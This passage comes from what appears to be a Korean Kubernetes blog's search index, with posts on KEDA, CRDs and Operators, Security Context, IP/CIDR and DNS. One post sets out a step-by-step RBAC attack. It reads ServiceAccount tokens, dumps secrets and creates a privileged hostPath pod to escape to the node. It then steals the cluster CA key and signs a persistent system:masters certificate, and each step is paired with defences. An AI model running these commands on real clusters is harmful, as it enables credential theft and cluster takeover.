함께 쓰면 자격증명 없이 IAM 역할로 인증할 수도 있다.\nScaledJob — Job 스케일 Deployment가 아닌 Job을 이벤트에 따라 생성하고 싶을 때 ScaledJob을 쓴다. 큐의 각 아이템을 별도 Job 파드가 처리하는 패턴이다.\napiVersion: keda.sh/v1alpha1 kind: ScaledJob metadata: name: image-processing-job spec: jobTargetRef: template: spec: restartPolicy: Never containers: - name: processor image: image-processor:1.0.0 maxReplicaCount: 20 triggers: - type: redis metadata: address: redis:6379 listName: image-jobs listLength: \u0026#34;1\u0026#34; # 아이템 하나당 Job 하나 큐에 아이템이 15개 있으면 Job 파드 15개가 생겨 동시에 처리한다. 각 파드가 하나씩 가져가 처리하고 종료된다. ScaledObject(Deployment)는 파드들이 계속 살아 큐에서 메시지를 소비하는 반면, ScaledJob은 각 아이템을 독립적인 Job으로 처리한다.\nKEDA vs HPA HPA KEDA 스케일 기준 CPU, 메모리, Custom Metrics 외부 이벤트 소스 (Kafka, SQS, Redis 등) 0으로 스케일 다운 불가 (최소 1개) 가능 외부 스케일러 수 별도 Adapter 필요 70개+ 내장 설치 기본 내장 CRD 추가 설치 HPA와의 관계 — 내부적으로 HPA를 생성 KEDA가 설치되면 기존 HPA와 공존한다. 같은 Deployment에 HPA와 ScaledObject를 동시에 쓰면 충돌하므로, 하나만 써야 한다.\n트레이드오프 minReplicaCount: 0으로 파드를 완전히 내리면 첫 메시지 처리까지 파드가 올라오는 시간이 걸린다. 이미지 크기가 크면 풀 시간도 더해진다. 실시간 응답이 필요한 서비스에서는 minReplicaCount: 1 이상을 유지하는 것이 낫다.\nKEDA는 외부 소스를 pollingInterval마다 폴링한다. Kafka 랙 같은 값이 폴링 간격 안에 급격히 변하면 스케일 결정이 늦을 수 있다. 폴링 간격을 줄이면 반응이 빨라지지만 외부 소스에 부하가 늘어난다.\n여러 스케일러를 같은 ScaledObject에 설정하면 OR 조건으로 동작한다. 어느 하나라도 임계값을 넘으면 스케일 업된다.\n","permalink":"https://charminggroot.github.io/posts/030-k8s-keda/","summary":"HPA는 CPU와 메모리 사용률을 기준으로 파드를 스케일한다. 하지만 Kafka 큐에 메시지가 쌓이거나 SQS 대기열이 늘어나는 경우처럼 외부 이벤트 소스를 기준으로 스케일하고 싶을 때 HPA만으로는 한계가 있다. KEDA는 70개 이상의 외부 스케일러를 지원하는 이벤트 드리븐 오토스케일러로, 0개에서 N개까지 스케일하는 것도 지원한다.","title":"030. KEDA — 이벤트 드리븐 오토스케일러"},{"content":"k8s의 선언형 모델은 강력하다. Deployment에 replicas: 5를 선언하면 컨트롤러가 알아서 파드를 유지한다. 이 모델을 기본 리소스(Deployment, Service 등)만이 아니라 도메인 특화 리소스에도 적용할 수 있다면 어떨까.\nCRD(Custom Resource Definition)는 k8s에 새 리소스 타입을 추가하는 메커니즘이다. PostgresCluster나 Certificate 같은 리소스를 정의하면 kubectl get postgresclusters 처럼 기본 리소스처럼 다룰 수 있다. Operator 패턴은 이 CRD와 컨트롤러를 결합해, 복잡한 운영 작업을 자동화하는 방법이다.\nCRD — 새 리소스 타입 정의 apiVersion: apiextensions.k8s.io/v1 kind: CustomResourceDefinition metadata: name: widgets.example.com # \u0026lt;복수명\u0026gt;.\u0026lt;그룹\u0026gt; spec: group: example.com versions: - name: v1 served: true storage: true schema: openAPIV3Schema: type: object properties: spec: type: object properties: color: type: string size: type: integer minimum: 1 maximum: 100 status: type: object properties: ready: type: boolean message: type: string scope: Namespaced # 또는 Cluster names: plural: widgets singular: widget kind: Widget shortNames: - wg CRD를 클러스터에 적용하면 이제 Widget 오브젝트를 만들 수 있다.\napiVersion: example.com/v1 kind: Widget metadata: name: my-widget spec: color: blue size: 42 kubectl get widgets kubectl describe widget my-widget CRD만 있으면 리소스를 저장하고 읽을 수 있다. 하지만 이 리소스가 실제로 무언가를 하게 만들려면 컨트롤러가 필요하다.\nOperator — 컨트롤러와 CRD의 결합 Operator 패턴은 CoreOS(현 Red Hat)가 제안한 개념이다. 운영자(Operator)가 수동으로 하던 작업 — DB 클러스터 확장, 백업, 장애 복구, 버전 업그레이드 — 을 소프트웨어로 자동화한다.\n구조는 단순하다.\nCRD로 원하는 상태를 선언하는 리소스를 정의한다. 컨트롤러가 그 리소스를 감시하고, desired state와 actual state의 차이를 없애는 Reconcile 루프를 실행한다. 사용자: Widget CR 생성/수정/삭제 ↓ API Server에 이벤트 발생 ↓ Controller: Watch → Reconcile 함수 호출 ↓ 현재 상태 확인 (k8s 리소스, 외부 시스템) ↓ desired state와 diff 계산 ↓ 필요한 작업 수행 (파드 생성, DB 설정 변경 등) ↓ status 업데이트 Reconcile 함수는 멱등성을 가져야 한다. 같은 상태를 여러 번 적용해도 결과가 같아야 한다. 컨트롤러는 오류가 생기면 재시도하고, 재시작 후에도 상태를 보고 올바른 방향으로 수렴한다.\n실제 사례: cert-manager cert-manager는 TLS 인증서 발급과 갱신을 자동화하는 Operator다.\n# cert-manager가 제공하는 CRD: Certificate apiVersion: cert-manager.io/v1 kind: Certificate metadata: name: api-tls namespace: production spec: secretName: api-tls-secret # 인증서를 저장할 Secret 이름 duration: 2160h # 90일 renewBefore: 360h # 만료 15일 전에 갱신 dnsNames: - api.example.com - www.example.com issuerRef: name: letsencrypt-prod kind: ClusterIssuer 이 YAML을 적용하면 cert-manager 컨트롤러가:\nLet\u0026rsquo;s Encrypt에 인증서 발급 요청 ACME 챌린지 수행 (HTTP-01 또는 DNS-01) 발급된 인증서를 api-tls-secret Secret에 저장 만료 15일 전에 자동으로 갱신 기존에는 Certbot을 cron으로 돌리고 nginx를 재시작하는 등의 수동 작업이었다. cert-manager는 이 모든 것을 Certificate 리소스 하나로 선언적으로 관리한다.\n실제 사례: Postgres Operator (CrunchyData PGO) apiVersion: postgres-operator.crunchydata.com/v1beta1 kind: PostgresCluster metadata: name: my-postgres namespace: production spec: postgresVersion: 15 instances: - name: instance1 replicas: 3 # Primary 1 + Standby 2 dataVolumeClaimSpec: accessModes: - ReadWriteOnce resources: requests: storage: 100Gi backups: pgbackrest: repos: - name: repo1 s3: bucket: my-postgres-backups endpoint: s3.amazonaws.com region: ap-northeast-2 schedules: full: \u0026#34;0 2 * * 0\u0026#34; # 매주 일요일 새벽 2시 풀 백업 incremental: \u0026#34;0 2 * * 1-6\u0026#34; # 평일 새벽 2시 증분 백업 이 선언 하나로 Operator가:\nPrimary + Standby PostgreSQL 클러스터 구성 Replication 설정 S3 자동 백업 스케줄 Standby 장애 시 자동 Failover 버전 업그레이드 시 Rolling 방식으로 처리 수십 줄의 쉘 스크립트와 cron 작업이 YAML 선언 하나로 대체된다.\nKubebuilder — Operator 개발 도구 직접 Operator를 만들 때는 Kubebuilder 또는 Operator SDK를 쓴다. Kubebuilder는 Go 기반 스캐폴딩을 제공한다.\n# 프로젝트 초기화 kubebuilder init --domain example.com --repo github.com/my-org/my-operator # API (CRD + Controller) 생성 kubebuilder create api --group apps --version v1 --kind Widget 이 명령이 CRD 스캐폴드, 컨트롤러 파일, 테스트 파일을 자동 생성한다. 개발자는 Reconcile 함수만 채우면 된다.\nfunc (r *WidgetReconciler) Reconcile(ctx context.Context, req ctrl.Request) (ctrl.Result, error) { widget := \u0026amp;appsv1.Widget{} if err := r.Get(ctx, req.NamespacedName, widget); err != nil { return ctrl.Result{}, client.IgnoreNotFound(err) } // desired state 구현: 필요한 Deployment, Service 생성/수정 // ... // status 업데이트 widget.Status.Ready = true r.Status().Update(ctx, widget) return ctrl.Result{}, nil } 트레이드오프 Operator는 강력하지만 복잡도 비용이 있다. 컨트롤러 코드가 버그를 가지면 리소스가 잘못된 상태로 수렴할 수 있다. Reconcile이 외부 시스템(DB, 클라우드 API)을 변경하는 경우 롤백이 어렵다.\n오픈소스 Operator를 쓸 때는 버전과 CRD 스키마 변경을 주의해야 한다. CRD의 spec 구조가 버전마다 달라지는 경우가 있고, 업그레이드 시 기존 CR이 새 스키마와 호환되지 않으면 문제가 된다. 업그레이드 전 마이그레이션 가이드를 반드시 확인한다.\n단순한 배포 자동화는 Helm이나 Kustomize로 충분하다. Operator는 운영 지식(장애 복구, 백업, 버전 업그레이드 절차) 을 자동화해야 할 때 가치가 있다. 상태가 없는 단순 서비스에 Operator를 만드는 것은 과한 복잡도다.\n","permalink":"https://charminggroot.github.io/posts/031-k8s-crd-operator/","summary":"k8s는 Deployment, Service, ConfigMap 같은 기본 리소스 외에 사용자 정의 리소스(CRD)를 추가할 수 있다. Operator 패턴은 CRD로 새 리소스를 정의하고, 컨트롤러가 그 리소스의 desired state를 실현하는 구조다. cert-manager, Postgres Operator처럼 복잡한 운영 지식을 자동화하는 데 쓰인다.","title":"031. Kubernetes CRD \u0026 Operator 패턴 — k8s를 플랫폼으로 확장하기"},{"content":"컨테이너는 격리된 환경이지만 완벽한 격리는 아니다. 컨테이너가 root 권한으로 실행되고 있을 때 취약점으로 컨테이너를 탈출하면 호스트 노드에도 root 권한을 얻을 수 있다. 파일시스템에 쓸 수 있는 컨테이너는 악성 코드가 내부에서 변조를 시도할 여지를 준다.\nSecurity Context는 파드와 컨테이너가 어떤 권한으로 실행될지를 선언한다. 불필요한 권한을 제거해 공격 표면을 줄이는 것이 목적이다. Pod Security Admission은 Namespace 단위로 보안 정책을 강제하는 클러스터 레벨 메커니즘이다.\nSecurity Context 기본 설정 apiVersion: apps/v1 kind: Deployment spec: template: spec: securityContext: # Pod 레벨 — 모든 컨테이너에 적용 runAsNonRoot: true # root(uid 0)로 실행 금지 runAsUser: 1000 # UID 1000으로 실행 runAsGroup: 3000 # GID 3000으로 실행 fsGroup: 2000 # 볼륨 파일 소유 그룹 seccompProfile: type: RuntimeDefault # 기본 seccomp 프로필 적용 containers: - name: app image: my-app:1.0.0 securityContext: # 컨테이너 레벨 — 이 컨테이너에만 적용 allowPrivilegeEscalation: false # setuid 바이너리로 권한 상승 금지 readOnlyRootFilesystem: true # 컨테이너 루트 파일시스템 읽기 전용 capabilities: drop: - ALL # 모든 Linux capabilities 제거 add: - NET_BIND_SERVICE # 1024 미만 포트 바인딩 허용 (필요 시만) volumeMounts: - name: tmp mountPath: /tmp # 쓰기가 필요한 경로는 별도 볼륨 - name: cache mountPath: /app/cache volumes: - name: tmp emptyDir: {} - name: cache emptyDir: {} 각 설정의 의미 runAsNonRoot: true: 이미지가 root 사용자(uid 0)로 실행되도록 설정돼 있으면 파드 시작을 거부한다. 이미지의 USER 지시어로 non-root 사용자를 설정한 이미지만 실행된다.\nreadOnlyRootFilesystem: true: 컨테이너의 루트 파일시스템을 읽기 전용으로 마운트한다. 악성 코드나 취약점이 컨테이너 내부에서 바이너리를 수정하거나 새 파일을 만드는 것을 막는다. /tmp처럼 쓰기가 필요한 경로는 emptyDir 볼륨으로 별도 제공한다.\nallowPrivilegeEscalation: false: setuid 또는 setgid 비트가 설정된 바이너리를 실행해 프로세스 권한이 올라가는 것을 막는다. sudo 같은 것이 작동하지 않는다.\ncapabilities: Linux는 root 권한을 세분화한 capabilities로 관리한다. CAP_NET_ADMIN(네트워크 설정), CAP_SYS_ADMIN(광범위한 시스템 작업) 같은 것들이다. 기본 컨테이너 런타임은 일부 capabilities를 부여하는데, drop: [ALL]로 모두 제거하고 실제로 필요한 것만 add한다.\nseccompProfile: RuntimeDefault: 시스템 콜 필터를 적용한다. 컨테이너가 정상 동작에 필요하지 않은 시스템 콜을 호출하는 것을 차단한다. RuntimeDefault는 컨테이너 런타임이 제공하는 기본 프로필을 쓴다.\nDockerfile에서 non-root 설정 컨테이너가 non-root로 실행되려면 이미지 자체도 준비돼야 한다.\nFROM node:20-alpine WORKDIR /app COPY package*.json ./ RUN npm ci --only=production COPY . . # non-root 사용자 생성 및 파일 소유권 변경 RUN addgroup -g 1001 appgroup \u0026amp;\u0026amp; \\ adduser -u 1001 -G appgroup -s /bin/sh -D appuser \u0026amp;\u0026amp; \\ chown -R appuser:appgroup /app USER appuser # 이후 명령과 컨테이너 실행이 이 사용자로 EXPOSE 3000 CMD [\u0026#34;node\u0026#34;, \u0026#34;server.js\u0026#34;] Pod Security Admission — 클러스터 레벨 정책 Security Context는 개별 파드에 설정한다. 모든 파드에 이를 강제하려면 Namespace 단위로 정책을 적용하는 Pod Security Admission(PSA) 을 쓴다. k8s 1.25에서 GA, 기존 PodSecurityPolicy를 대체한다.\nPSA는 세 가지 보안 표준(Standard)을 정의한다.\nprivileged: 제한 없음. 모든 파드 허용. kube-system Namespace에 적합하다.\nbaseline: 최소한의 제한. 명백히 위험한 설정(privileged 컨테이너, hostPath 볼륨, hostNetwork 등)만 차단한다. 기존 애플리케이션 대부분이 수정 없이 통과한다.\nrestricted: 강력한 제한. non-root 실행, readOnlyRootFilesystem, capabilities drop, seccompProfile 강제 등. 현재 best practice를 모두 강제한다.\n각 표준은 세 가지 모드로 적용할 수 있다.\nenforce: 정책 위반 파드 생성을 거부한다.\naudit: 위반이 있어도 파드는 만들어지지만 감사 로그에 기록된다. 기존 클러스터에 정책을 먼저 적용해볼 때 쓴다.\nwarn: 위반 시 경고 메시지를 반환하지만 파드는 만들어진다.\napiVersion: v1 kind: Namespace metadata: name: production labels: pod-security.kubernetes.io/enforce: restricted # 위반 시 거부 pod-security.kubernetes.io/enforce-version: v1.28 pod-security.kubernetes.io/audit: restricted # 감사 로그 pod-security.kubernetes.io/warn: restricted # 경고 세 모드를 동시에 설정할 수 있다. 새 클러스터에 restricted를 점진적으로 도입할 때 warn과 audit을 먼저 켜서 위반 파드를 파악한 뒤 enforce를 추가하는 방식이 안전하다.\nPrivileged 컨테이너 일부 시스템 컴포넌트(CNI 플러그인, 노드 에이전트, eBPF 기반 도구)는 호스트 수준 접근이 필요해 privileged 컨테이너로 실행된다.\nsecurityContext: privileged: true # 호스트와 거의 동일한 권한. 매우 위험. privileged 컨테이너는 호스트 파일시스템 전체에 접근하고, 장치를 마운트하고, 커널 파라미터를 변경할 수 있다. 불가피한 시스템 컴포넌트에만 쓰고, 애플리케이션에는 절대 쓰지 않는다. PSA baseline은 이를 차단한다.\n최소 권한 원칙 체크리스트 실무에서 파드 보안을 점검할 때 확인하는 항목들이다.\n□ runAsNonRoot: true 또는 runAsUser != 0 □ readOnlyRootFilesystem: true (쓰기 필요 경로는 emptyDir) □ allowPrivilegeEscalation: false □ capabilities.drop: [ALL], 필요한 것만 add □ privileged: false (기본값이지만 명시) □ hostPID: false, hostIPC: false, hostNetwork: false □ Namespace에 PSA 레이블 적용 트레이드오프 readOnlyRootFilesystem: true를 적용하면 쓰기를 시도하는 컨테이너가 실행 중에 오류를 낸다. 임시 파일, 로그, 캐시를 루트 파일시스템에 쓰는 애플리케이션은 수정이 필요하다. 처음부터 설계할 때 쓰기 경로를 볼륨으로 분리해두면 문제가 없지만, 기존 이미지는 변환 비용이 있다.\nrestricted PSA 표준은 seccompProfile을 필수로 요구한다. 일부 오래된 또는 특수한 이미지는 기본 seccomp 프로필이 차단하는 시스템 콜을 쓸 수 있다. RuntimeDefault 프로필이 차단하는 syscall 목록은 컨테이너 런타임(containerd, cri-o)마다 약간 다르다. 문제가 생기면 Unconfined로 풀거나 커스텀 seccomp 프로필을 작성해야 한다.\n","permalink":"https://charminggroot.github.io/posts/032-k8s-security-context/","summary":"컨테이너를 root로 실행하면 컨테이너 탈출 시 호스트 노드도 위험해진다. Security Context는 파드·컨테이너 수준에서 실행 권한을 제한하고, Pod Security Admission은 클러스터 수준에서 보안 기준선을 강제한다. 실무에서 자주 쓰는 설정과 각 제약의 의미를 설명한다.","title":"032. Kubernetes Security Context \u0026 Pod Security Admission — 컨테이너를 안전하게 실행하기"},{"content":"공격 방법을 정확히 알아야 방어 설계도 정확해진다. 아래 시나리오는 실제 침해 사례에서 반복적으로 나타나는 패턴을 단계별로 재구성한 것이다.\n전제: 흔한 RBAC 미비 패턴 실무에서 자주 보이는 실수들이다.\n# 실수 1: default ServiceAccount에 cluster-admin 바인딩 kind: ClusterRoleBinding subjects: - kind: ServiceAccount name: default namespace: default roleRef: kind: ClusterRole name: cluster-admin # 실수 2: automountServiceAccountToken 기본값 방치 # → 모든 파드가 /var/run/secrets/kubernetes.io/serviceaccount/token을 자동으로 가짐 이 두 가지가 동시에 있으면 파드 하나를 침투한 것만으로 클러스터 전체가 노출된다.\n1단계: 초기 침투 공격자가 파드 내부 쉘을 실행할 수 있는 상태를 만드는 것이 출발점이다. 진입 경로는 다양하다.\n앱 코드의 RCE 취약점 (Log4Shell, deserialization, SSRF를 통한 내부 명령 실행) 공급망 공격 — 의존 패키지에 심어진 악성 코드 컨테이너 이미지에 미리 심어진 백도어 어느 경로든 결과는 같다. 공격자가 파드 안에서 명령을 실행할 수 있는 상태다.\n2단계: SA 토큰 수집 파드에 진입하면 제일 먼저 서비스 어카운트 토큰을 확인한다. automountServiceAccountToken이 기본값(true)이면 거의 모든 파드에 마운트돼 있다.\ncat /var/run/secrets/kubernetes.io/serviceaccount/token cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt cat /var/run/secrets/kubernetes.io/serviceaccount/namespace 이 JWT 토큰으로 kube-apiserver에 직접 API 요청을 할 수 있다.\nAPISERVER=https://kubernetes.default.svc TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) curl -k -H \u0026#34;Authorization: Bearer $TOKEN\u0026#34; \\ $APISERVER/api/v1/namespaces/default/pods 3단계: 권한 정찰 토큰으로 내가 어디까지 접근할 수 있는지 확인한다.\n# kubectl을 파드 안에 다운받거나, curl로 직접 API 호출 kubectl auth can-i --list --token=$TOKEN # default SA에 cluster-admin이 바인딩돼 있으면 여기서 바로 드러남 # Verb: * Resource: * → 전체 권한 cluster-admin이 아니더라도 secrets/list 권한이 있으면 다음 단계로 넘어갈 수 있다.\n4단계 A: Secret 덤프 → 자격증명 탈취 Secret 읽기 권한이 있으면 클러스터 전체 Secret을 긁어온다.\nkubectl get secrets -n kube-system -o json --token=$TOKEN kube-system에서 건질 수 있는 것들:\n더 강한 권한을 가진 다른 ServiceAccount 토큰 etcd 접근 인증서 클라우드 프로바이더 자격증명 (AWS Access Key 등) DB 비밀번호, 외부 API 키 다른 SA 토큰을 탈취하면 그 SA의 권한으로 다시 3단계를 반복한다. 권한이 충분해질 때까지 횡이동(lateral movement)한다.\n4단계 B: 특권 파드 생성 → 노드 탈출 pods/create 권한이 있고 PSA가 없으면 특권 파드를 직접 만든다.\napiVersion: v1 kind: Pod metadata: name: evil-pod namespace: kube-system spec: hostPID: true hostNetwork: true hostIPC: true containers: - name: evil image: alpine command: [\u0026#34;/bin/sh\u0026#34;, \u0026#34;-c\u0026#34;, \u0026#34;sleep 9999\u0026#34;] securityContext: privileged: true volumeMounts: - name: host-root mountPath: /host volumes: - name: host-root hostPath: path: / # 호스트 루트 파일시스템 전체 마운트 nodeName: target-node-1 # 원하는 노드 지정 가능 이 파드에 exec하면 호스트 파일시스템 전체가 /host에 마운트된 상태다.\nkubectl exec -it evil-pod -n kube-system -- sh chroot /host # 호스트 루트로 전환, 이제 호스트에서 root # 호스트에서 할 수 있는 것들 cat /etc/kubernetes/pki/ca.key # 클러스터 CA 개인키 cat /etc/kubernetes/admin.conf # cluster-admin kubeconfig nsenter -t 1 -m -u -i -n -p -- bash # host PID 1 네임스페이스 진입 5단계: CA 키로 영구 backdoor CA 개인키를 손에 넣으면 유효한 클라이언트 인증서를 무한정 서명할 수 있다.\n# 공격자 로컬에서 openssl genrsa -out attacker.key 2048 openssl req -new -key attacker.key -out attacker.csr \\ -subj \u0026#34;/CN=attacker/O=system:masters\u0026#34; # system:masters 그룹 = cluster-admin # 탈취한 CA로 서명 openssl x509 -req -in attacker.csr \\ -CA ca.crt -CAkey ca.key \\ -CAcreateserial -out attacker.crt -days 3650 # 10년짜리 cluster-admin 인증서 완성 kubectl --client-certificate=attacker.crt \\ --client-key=attacker.key \\ get nodes 클러스터를 재생성하거나 CA를 교체하지 않는 한 이 인증서는 계속 유효하다. 원래 침투 경로를 막아도 공격자는 접근을 유지한다.\n공격 성립 조건과 방어 포인트 단계 공격 성립 조건 방어 방법 토큰 수집 automountServiceAccountToken: true (기본값) API 접근 불필요한 파드는 automountServiceAccountToken: false 권한 정찰 default SA에 과한 권한 default SA는 권한 없음, 서비스별 SA 분리, 최소 권한 원칙 Secret 덤프 secrets/list 권한 부여 Secret 접근 권한 최소화, External Secrets로 민감값 분리 특권 파드 생성 pods/create + PSA 없음 PSA restricted 적용, privileged/hostPath 차단 노드 탈출 privileged: true 허용 Security Context 강제, readOnlyRootFilesystem: true CA 키 탈취 노드에 CA 키 노출 관리형 k8s(EKS, GKE) 사용 — CA가 노드에 노출되지 않음 영구 backdoor CA 키 보유 CA 교체, 인증서 기반 접근 감사 로그 방어 설계 요약 토큰을 끊는다: API 접근이 필요 없는 파드는 automountServiceAccountToken: false로 토큰 마운트 자체를 없앤다. 토큰이 없으면 2단계에서 막힌다.\n권한을 줄인다: default SA는 아무 권한도 없어야 한다. 서비스마다 전용 SA를 만들고 필요한 최소 권한만 부여한다. cluster-admin은 자동화 파이프라인에도 주면 안 된다.\n특권 파드를 원천 차단한다: PSA restricted를 Namespace에 적용하면 privileged, hostPath, hostPID 파드 생성 자체가 거부된다. 4단계 B가 시작도 못 한다.\n네트워크로 API 접근을 제한한다: NetworkPolicy로 일반 애플리케이션 파드에서 kube-apiserver(포트 443/6443)로의 직접 접근을 차단한다. 토큰이 있어도 API에 닿지 못하면 의미가 없다.\n감사 로그를 켠다: kube-apiserver audit log를 활성화하면 비정상적인 API 접근 패턴(처음 보는 SA가 secrets를 list하는 등)을 탐지할 수 있다.\n","permalink":"https://charminggroot.github.io/posts/033-k8s-rbac-attack-scenario/","summary":"RBAC이 제대로 설정되지 않은 클러스터에서 파드 하나를 침투한 공격자가 전체 클러스터를 장악하는 과정을 단계별로 설명한다. 각 단계에서 공격이 성립하는 조건과 이를 차단하는 방어 포인트를 함께 정리한다.","title":"033. Kubernetes RBAC 미비 공격 시나리오 — 파드 침투에서 클러스터 장악까지"},{"content":"클라우드 콘솔에서 VPC를 만들 때 10.0.0.0/16을 입력하고, k8s NetworkPolicy에서 172.16.0.0/12를 허용하고, 방화벽 규칙에서 0.0.0.0/0을 차단한다. 이 숫자들이 무엇을 의미하는지 정확히 모르면 서브넷 설계를 할 때마다 찍게 된다.\nIPv4 주소 구조 IPv4 주소는 32비트 숫자다. 읽기 편하게 8비트씩 네 덩어리로 나눠 점으로 구분한다.\n192.168.1.100 ↓ 11000000.10101000.00000001.01100100 각 덩어리는 0~255 범위다. 주소 전체로는 약 43억 개(2³²)가 존재한다.\nCIDR 표기법 CIDR(Classless Inter-Domain Routing)은 IP 주소 범위를 주소/프리픽스 길이 형태로 표현한다.\n192.168.1.0/24 뒤의 숫자(24)는 앞에서부터 고정된 비트 수다. /24면 앞 24비트가 고정이고, 나머지 32-24=8비트가 호스트 주소다. 호스트 주소가 8비트면 2⁸=256개 주소가 이 범위에 속한다.\n192.168.1.0/24 → 192.168.1.0 ~ 192.168.1.255 (256개) 192.168.0.0/16 → 192.168.0.0 ~ 192.168.255.255 (65,536개) 10.0.0.0/8 → 10.0.0.0 ~ 10.255.255.255 (16,777,216개) 0.0.0.0/0 → 모든 IP (기본 경로, \u0026#34;anywhere\u0026#34;) x.x.x.x/32 → 딱 하나의 IP 프리픽스 길이가 작을수록 범위가 넓다. /16이 /24보다 256배 넓다.\n서브넷 마스크와의 관계 예전 방식인 서브넷 마스크와 같은 의미다.\n/24 = 255.255.255.0 /16 = 255.255.0.0 /8 = 255.0.0.0 CIDR이 더 간결하고 유연해서 현재는 CIDR을 표준으로 쓴다.\n사설 IP 대역 인터넷에서 라우팅되지 않는, 내부 네트워크 전용으로 예약된 대역이다. 공인 IP를 절약하고 내부 네트워크를 외부와 분리하기 위해 RFC 1918에서 정의했다.\n10.0.0.0/8 → 10.x.x.x, 약 1,670만 개 172.16.0.0/12 → 172.16.x.x ~ 172.31.x.x, 약 100만 개 192.168.0.0/16 → 192.168.x.x, 약 6만 5천 개 AWS VPC, GCP VPC, 온프렘 내부 네트워크는 모두 이 대역에서 할당한다. 이 범위의 주소는 인터넷에서 목적지로 쓸 수 없다 — 인터넷 라우터가 이 주소로 향하는 패킷을 드롭한다. 인터넷과 통신하려면 NAT를 거쳐 공인 IP로 변환해야 한다.\n127.0.0.0/8은 루프백 대역이다. 127.0.0.1(localhost)이 여기 속한다. 자기 자신으로 향하는 트래픽이고 네트워크로 나가지 않는다.\nVPC 서브넷 설계 AWS VPC를 예로 들면, 큰 CIDR을 잡고 서브넷으로 쪼개는 방식이다.\nVPC: 10.0.0.0/16 (65,536개 주소) ├── public subnet AZ-a: 10.0.1.0/24 (256개) ├── public subnet AZ-b: 10.0.2.0/24 (256개) ├── private subnet AZ-a: 10.0.11.0/24 (256개) ├── private subnet AZ-b: 10.0.12.0/24 (256개) └── (여분) 10.0.20.0/24 ~ ... 서브넷은 VPC CIDR 안에 겹치지 않게 잡아야 한다. 10.0.1.0/24와 10.0.1.128/25는 겹친다.\n실무에서 VPC CIDR을 작게 잡으면 나중에 서브넷이 부족해서 곤란해진다. 처음부터 /16으로 넉넉하게 잡는 것이 좋다. 단, VPC Peering을 할 경우 연결하려는 VPC들의 CIDR이 겹치면 안 된다. 여러 VPC를 운영할 계획이라면 대역을 미리 나눠두는 것이 안전하다.\n개발 VPC: 10.1.0.0/16 스테이징: 10.2.0.0/16 프로덕션: 10.3.0.0/16 트레이드오프 AWS 서브넷에서는 각 서브넷의 첫 4개 주소와 마지막 1개 주소를 AWS가 예약해 쓸 수 없다. /24 서브넷(256개)에서 실제 사용 가능한 주소는 251개다. 서브넷을 너무 작게 잡으면 파드나 ENI 수가 주소 수를 초과하는 상황이 생긴다. EKS처럼 파드마다 VPC IP를 할당하는 환경에서는 특히 서브넷 크기에 여유를 줘야 한다.\n","permalink":"https://charminggroot.github.io/posts/034-ip-cidr/","summary":"IP 주소는 인터넷에서 장치를 식별하는 주소다. CIDR은 IP 주소 범위를 표현하는 표기법으로, VPC 서브넷 설계나 NetworkPolicy, 방화벽 규칙을 작성할 때 매일 마주친다. /24, /16이 실제로 어떤 의미인지, 사설 IP 대역이 왜 따로 있는지를 설명한다.","title":"034. IP \u0026 CIDR — 네트워크 주소 체계의 기초"},{"content":"코드에서 https://api.example.com으로 요청을 보낼 때 컴퓨터는 api.example.com이 어느 서버인지 모른다. 실제 통신은 IP 주소로 이루어진다. DNS(Domain Name System)는 이 변환을 담당하는 분산 시스템이다.\n조회 과정 api.example.com을 처음 조회하는 상황을 따라가면 이렇다.\n클라이언트 → 로컬 캐시 확인 (없으면) → 운영체제 리졸버 (/etc/resolv.conf에 적힌 DNS 서버) → 재귀 리졸버 (ISP 또는 8.8.8.8 같은 공용 DNS) → 루트 네임서버 (. 에 대한 응답: \u0026#34;com은 여기 물어봐\u0026#34;) → TLD 네임서버 (com. 에 대한 응답: \u0026#34;example.com은 여기 물어봐\u0026#34;) → 권위 네임서버 (example.com을 실제로 관리하는 서버) → \u0026#34;api.example.com = 1.2.3.4\u0026#34; 응답 → 결과를 TTL 동안 캐시 → 클라이언트에 IP 반환 재귀 리졸버(recursive resolver): 클라이언트를 대신해 루트부터 차례로 물어보고 최종 답을 돌려준다. 클라이언트는 재귀 리졸버에게만 물어보면 된다.\n권위 네임서버(authoritative nameserver): 특정 도메인의 레코드를 실제로 보유한 서버다. Route 53, Cloudflare DNS 같은 서비스가 이 역할을 한다. \u0026ldquo;내가 정답이다\u0026quot;라고 최종 응답한다.\n주요 레코드 타입 A 레코드: 도메인 → IPv4 주소\napi.example.com. 300 IN A 1.2.3.4 api.example.com. 300 IN A 1.2.3.5 # 여러 개면 라운드로빈 AAAA 레코드: 도메인 → IPv6 주소\nCNAME 레코드: 도메인 → 다른 도메인 (별칭)\nwww.example.com. 300 IN CNAME api.example.com. www.example.com으로 오면 api.example.com을 다시 조회한다. 로드밸런서 DNS 이름처럼 IP가 유동적인 대상을 가리킬 때 쓴다. CNAME은 조회가 한 단계 더 생기므로 A 레코드보다 느리다. 루트 도메인(example.com)에는 CNAME을 쓸 수 없다 — RFC 제약이다. Route 53의 ALIAS 레코드는 이 제약을 우회하는 AWS 전용 확장이다.\nMX 레코드: 이메일 수신 서버 지정\nexample.com. 300 IN MX 10 mail.example.com. TXT 레코드: 임의의 텍스트. 도메인 소유권 인증(Google, AWS Certificate Manager), SPF/DKIM 이메일 인증에 쓰인다.\nNS 레코드: 이 도메인의 권위 네임서버가 어디인지 지정\nSRV 레코드: 서비스의 호스트와 포트를 함께 지정. k8s의 CoreDNS가 _http._tcp.my-svc.my-ns.svc.cluster.local 형태로 서비스 포트 정보를 제공할 때 쓴다.\nTTL — 캐시 유효 시간 TTL(Time To Live)은 이 레코드를 몇 초 동안 캐시해도 되는지 알려주는 값이다.\napi.example.com. 300 IN A 1.2.3.4 ↑ TTL = 300초 (5분) 재귀 리졸버와 클라이언트가 이 시간 동안 캐시를 쓴다. TTL이 지나면 다시 조회한다.\nTTL이 배포에 미치는 영향: IP를 바꿔야 하는 상황(로드밸런서 교체, IP 변경)에서 TTL이 3600이면 최대 1시간 동안 일부 트래픽이 이전 IP로 계속 간다. 변경 전에 TTL을 60~300으로 낮춰두고, 변경 후 다시 높이는 것이 표준 절차다.\nTTL이 낮으면: 변경이 빠르게 전파되지만 DNS 서버에 쿼리가 더 자주 간다. CDN이나 글로벌 서비스에서 지역별 IP를 빠르게 전환할 때 낮은 TTL을 쓴다.\n클러스터 내부 DNS — CoreDNS k8s 클러스터 안에서는 CoreDNS가 내부 DNS 서버 역할을 한다. 파드가 my-svc.my-namespace.svc.cluster.local로 조회하면 해당 Service의 ClusterIP를 반환한다.\nmy-svc.my-namespace.svc.cluster.local. 5 IN A 